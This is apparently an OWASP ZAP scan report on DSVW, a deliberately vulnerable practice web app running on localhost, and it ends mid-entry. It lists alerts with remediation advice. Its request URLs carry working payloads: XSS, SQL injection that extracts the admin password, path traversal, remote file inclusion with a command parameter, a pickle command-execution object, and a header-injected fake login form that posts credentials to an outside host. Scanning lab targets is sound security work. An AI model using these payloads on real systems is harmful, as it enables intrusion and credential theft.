ZAP Scanning Report DSVW

Site: http://127.0.0.1:7000

Generated on Mon, 17 Jan 2022 18:55:19

Summary of Alerts

Risk Level	Number of Alerts
High	5
Medium	2
Low	5
Informational	2

Alerts

Name	Risk Level	Number of Instances
Cross Site Scripting (Reflected)	High	6
External Redirect	High	1
Path Traversal	High	1
Remote File Inclusion	High	1
SQL Injection - SQLite	High	8
Buffer Overflow	Medium	11
Missing Anti-clickjacking Header	Medium	28
Absence of Anti-CSRF Tokens	Low	1
Application Error Disclosure	Low	2
Private IP Disclosure	Low	3
Timestamp Disclosure - Unix	Low	15
X-Content-Type-Options Header Missing	Low	36
Information Disclosure - Sensitive Information in URL	Informational	6
Information Disclosure - Suspicious Comments	Informational	29

Alert Detail

High	Cross Site Scripting (Reflected)
	Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML /JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser

Description	redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise. There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based. Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.
URL	http://127.0.0.1:7000/?include=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
URL	http://127.0.0.1:7000/?include=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&cmd=ipconfig
Method	GET
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
URL	http://127.0.0.1:7000/?size=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
URL	http://127.0.0.1:7000/users.json?callback=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
URL	http://127.0.0.1:7000/?redir=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://127.0.0.1:7000/?v=%3C%2Fb%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E%3Cb%3E
Method	GET
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>

Instances	6
Solution	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket. Phases: Implementation; Architecture and Design Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed. Phase: Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Phase: Implementation For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping. To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set. Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

	Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Reference	http://projects.webappsec.org/Cross-Site-Scripting http://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Plugin Id	40012

High	**External Redirect**
Description	URL redirectors represent common functionality employed by web sites to forward an incoming request to an alternate resource. This can be done for a variety of reasons and is often done to allow resources to be moved within the directory structure and to avoid breaking functionality for users that request the resource at its previous location. URL redirectors may also be used to implement load balancing, leveraging abbreviated URLs or recording outgoing links. It is this last implementation which is often used in phishing attacks as described in the example below. URL redirectors do not necessarily represent a direct security vulnerability but can be abused by attackers trying to social engineer victims into believing that they are navigating to a site other than the true destination.
URL	http://127.0.0.1:7000/?redir=4038006085620220713.owasp.org
Method	GET
Attack	4038006085620220713.owasp.org
Evidence	4038006085620220713.owasp.org
Instances	1
Solution	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." Use an allow list of approved URLs or domains to be used for redirection. Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving your site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems when generating the disclaimer page. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap provide this capability. Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Reference	http://projects.webappsec.org/URL-Redirector-Abuse http://cwe.mitre.org/data/definitions/601.html
CWE Id	601

WASC Id	38
Plugin Id	20019

High	**Path Traversal**
Description	The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal. Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences. The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character. Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.
URL	http://127.0.0.1:7000/?path=c%3A%2FWindows%2Fsystem.ini
Method	GET
Attack	c:/Windows/system.ini
Evidence	[drivers]
Instances	1
	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised.

Solution	Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links. Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Reference	http://projects.webappsec.org/Path-Traversal http://cwe.mitre.org/data/definitions/22.html
CWE Id	22
WASC Id	33
Plugin Id	6

High	**Remote File Inclusion**
Description	Remote File Include (RFI) is an attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. Almost all web application frameworks support file inclusion. File inclusion is mainly used for packaging common code into separate files that are later referenced by main application modules. When a web application references an include file, the code in this file may be executed implicitly or explicitly by calling specific procedures. If the choice of module to load is based on elements from the HTTP request, the web application might be vulnerable to RFI. An attacker can use RFI for: * Running malicious code on the server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise. * Running malicious code on clients: the attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, JavaScript to steal the client session cookies). PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming and due to default server configurations that increase susceptibility to an RFI attack.

URL	http://127.0.0.1:7000/?path=http%3A%2F%2Fwww.google.com%2F
Method	GET
Attack	http://www.google.com/
Evidence	<title>Google</title>
Instances	1
Solution	Phase: Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability. Phases: Architecture and Design; Operation Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails. For PHP, the interpreter offers restrictions such as open basedir or safe mode which can make it more difficult for an attacker to escape out of the application. Also consider Suhosin, a hardened PHP extension, which includes various options that disable some of the more dangerous PHP features. Phase: Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use an allow list of allowable file extensions, which will help to avoid CWE-434. Phases: Architecture and Design; Operation Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

	This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce your attack surface. Phases: Architecture and Design; Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Reference	http://projects.webappsec.org/Remote-File-Inclusion http://cwe.mitre.org/data/definitions/98.html
CWE Id	98
WASC Id	5
Plugin Id	7

High	**SQL Injection - SQLite**
Description	SQL injection may be possible.
URL	http://127.0.0.1:7000/?comment=%27
Method	GET
Attack	'
Evidence	near "Mon": syntax error
URL	http://127.0.0.1:7000/?id=2+UNION+ALL+SELECT+NULL%2C+NULL%2C+NULL%2C+%28SELECT+id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword+FROM+users+WHERE+username%3D%27admin%27%29%27
Method	GET
Attack	2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')'
Evidence	near "UNION": syntax error
URL	http://127.0.0.1:7000/login?username=&password=%27%28
Method	GET
Attack	'(
Evidence	near "(": syntax error
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=%27&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	'
Evidence	near "'1'": syntax error
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=%27&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	'
Evidence	near "'1'": syntax error
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=%27&password=*%2F%271
Method	GET

Attack	'
Evidence	near '"1"': syntax error
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271%27%28
Method	GET
Attack	*/'1'(
Evidence	near "(": syntax error
URL	http://127.0.0.1:7000/login?username=admin&password=%27&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	'
Evidence	near ",": syntax error
Instances	8
Solution	Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?' If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries. If database Stored Procedures can be used, use them. Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality! Do not create dynamic SQL queries using simple string concatenation. Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact. Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40018

Medium	**Buffer Overflow**
Description	Buffer overflow errors are characterized by the overwriting of memory spaces of the backgrounc
URL	http://127.0.0.1:7000/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20
Method	GET
Attack	itYGlLMQyfrxDNvkRwAILOkQBhPIjWWjsqUkrFbNOgNxKiRdHCOCWMVGbBgOGSMigjEsgmD
Evidence	Connection: close

URL	http://127.0.0.1:7000/?include=
Method	GET
Attack	IHgAUPmAJjYAstquPLjBlCowhdttvesNsJnVcGZZmUXfIrsXpaFewpDlukitOSnkpppahEtDhmqO
Evidence	Connection: close
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc
Method	GET
Attack	oLpLYCZIXaRHaJElmJtqfAiNjQWnbuFgDyhxpjOeWhqxOwvWomooDfTNkPpqrmkmXBjbUUFtc
Evidence	Connection: close
URL	http://127.0.0.1:7000/?object=cos%0Asystem%0A(S%27ping%20-n%205%20127.0.0.1%27%0
Method	GET
Attack	xigXvTXvOHvNCPJfRugVJyGWjkaaDAhjBXcCVUKvRqDNcgVoyYbDCtWaWfuaxrrFkaMmgZX
Evidence	Connection: close
URL	http://127.0.0.1:7000/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini
Method	GET
Attack	FMgkAvXSafSGOAdjVDDAZZwmungchNwueOebeEirTLCRDYMnBdTAindFiZyWHBDQNsupR
Evidence	Connection: close
URL	http://127.0.0.1:7000/?size=32
Method	GET
Attack	urPMMWGHynEaWRftWHHKIBAvDRJtPoBKOOKPstSykGghVbMUsuxLDCGwRwkdjogHUdYa
Evidence	Connection: close
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&
Method	GET
Attack	YJdNGPbdNawXtTeeLxUwqgFlxiYAfpiLfLttGgyBuRCiJHGLKMsXrQSIMtNkbGGxqHPjwQvPtqT
Evidence	Connection: close
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&
Method	GET
Attack	ahDAUjcSZViSUcGJVrfjtkJdFxCSeYMkfYaEynCSogVAoFVOtMDEcHNmKErDSwywIiNbAmCK
Evidence	Connection: close
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&
Method	GET
Attack	fVTuaukoaljWbGnqZuHhkDIfFsGDNQnSHIOCiPWwovqNQRLdRxntuGvnshJRaSFEOjPfIGSBC
Evidence	Connection: close
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&
Method	GET
Attack	jViPyEclyZBRYGaPrQQOJkrsVcsgMSSytuULLasoisHrIZKliXvMLosYSGDkjiNZGHiAvDGkoqsfI
Evidence	Connection: close
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&
Method	GET
Attack	lSngPMuixTUEXcHqCJlCnFmCjbSMavYsGJjCMDBiROTtAEcjUubgEhkQsWDjsjwVFYtfBHClgX
Evidence	Connection: close
Instances	11

Solution	Rewrite the background program using proper return length checking. This will require a recomp
Reference	https://owasp.org/www-community/attacks/Buffer_overflow_attack
CWE Id	120
WASC Id	7
Plugin Id	30001

Medium	Missing Anti-clickjacking Header
Description	The response does not include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options to protect against 'ClickJacking' attacks.
URL	http://127.0.0.1:7000
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?charset=utf8
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET

Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=true
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?foobar
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?include=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?path=
Method	GET

Attack	
Evidence	
URL	http://127.0.0.1:7000/?redir=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?redir=http%3A%2F%2Fdsvw.c1.biz
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?size=32
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253E!%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
Method	GET
Attack	

Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=&password=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	
Evidence	
Instances	28
Solution	Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app. If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
CWE Id	1021
WASC Id	15
Plugin Id	10020

Low	**Absence of Anti-CSRF Tokens**
Description	No Anti-CSRF tokens were found in a HTML submission form. A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf. CSRF attacks are effective in a number of situations, including: * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site. * The victim is on the same local network as the target site.

	CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
URL	http://127.0.0.1:7000/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
Method	GET
Attack	
